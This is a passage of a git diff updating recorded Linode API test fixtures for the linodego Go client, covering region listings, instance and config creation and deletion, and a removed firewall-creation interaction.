"NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", - "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", - "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, - 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": - 25}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -228,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:16:46 GMT + - Fri, 31 May 2024 17:43:43 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -254,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"eu-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-lpm8y953w14f","booted":false}' + body: '{"region":"eu-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-rpa175505lbr","firewall_id":501419,"booted":false}' form: {} headers: Accept: @@ -266,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 54933831, "label": "go-test-ins-wo-disk-lpm8y953w14f", "group": + body: '{"id": 59542921, "label": "go-test-ins-wo-disk-rpa175505lbr", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["178.79.134.138"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["80.85.84.141"], "ipv6": "1234::5678/128", "image": null, "region": "eu-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "f6ebb908aa22019053e40e2fb42808b73a956c21", "has_user_data": false}' + "5c55e07869ad1857e820015f80011fe56058b9cc", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -291,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "738" + - "760" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:16:46 GMT + - Fri, 31 May 2024 17:43:44 GMT Pragma: - no-cache Strict-Transport-Security: @@ -312,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -321,7 +372,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-conf-8971k2nq2ccb","devices":{},"interfaces":null}' + body: '{"label":"go-test-conf-32zo19zu8j2m","devices":{},"interfaces":null}' form: {} headers: Accept: @@ -330,10 +381,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933831/configs + url: https://api.linode.com/v4beta/linode/instances/59542921/configs method: POST response: - body: '{"id": 58038223, "label": "go-test-conf-8971k2nq2ccb", "helpers": {"updatedb_disabled": + body: '{"id": 62729553, "label": "go-test-conf-32zo19zu8j2m", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", @@ -362,7 +413,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:16:47 GMT + - Fri, 31 May 2024 17:43:44 GMT Pragma: - no-cache Strict-Transport-Security: @@ -377,7 +428,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -396,20 +450,21 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"id": 54933831}' + - '{"id": 59542921}' url: https://api.linode.com/v4beta/linode/instances?page=1 method: GET response: - body: '{"data": [{"id": 54933831, "label": "go-test-ins-wo-disk-lpm8y953w14f", + body: '{"data": [{"id": 59542921, "label": "go-test-ins-wo-disk-rpa175505lbr", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["178.79.134.138"], "ipv6": + "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["80.85.84.141"], "ipv6": "1234::5678/128", "image": null, "region": "eu-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": - 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": - null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": - true, "tags": [], "host_uuid": "f6ebb908aa22019053e40e2fb42808b73a956c21", "has_user_data": - false}], "page": 1, "pages": 1, "results": 1}' + 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": + "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": + "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "5c55e07869ad1857e820015f80011fe56058b9cc", + "has_user_data": false, "placement_group": null}], "page": 1, "pages": 1, "results": + 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -426,13 +481,13 @@ interactions: Connection: - keep-alive Content-Length: - - "787" + - "825" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:16:47 GMT + - Fri, 31 May 2024 17:43:44 GMT Pragma: - no-cache Strict-Transport-Security: @@ -448,7 +503,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -466,7 +524,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933831 + url: https://api.linode.com/v4beta/linode/instances/59542921 method: DELETE response: body: '{}' @@ -492,7 +550,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:16:47 GMT + - Fri, 31 May 2024 17:43:44 GMT Pragma: - no-cache Strict-Transport-Security: @@ -507,7 +565,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestNodeBalancerConfig_Create.yaml b/test/integration/fixtures/TestNodeBalancerConfig_Create.yaml index df5669715..95334d971 100644 --- a/test/integration/fixtures/TestNodeBalancerConfig_Create.yaml +++ b/test/integration/fixtures/TestNodeBalancerConfig_Create.yaml @@ -1,67 +1,6 @@ --- version: 1 interactions: -- request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls - method: POST - response: - body: '{"id": 228216, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "526" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - request: body: "" form: {} @@ -76,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block 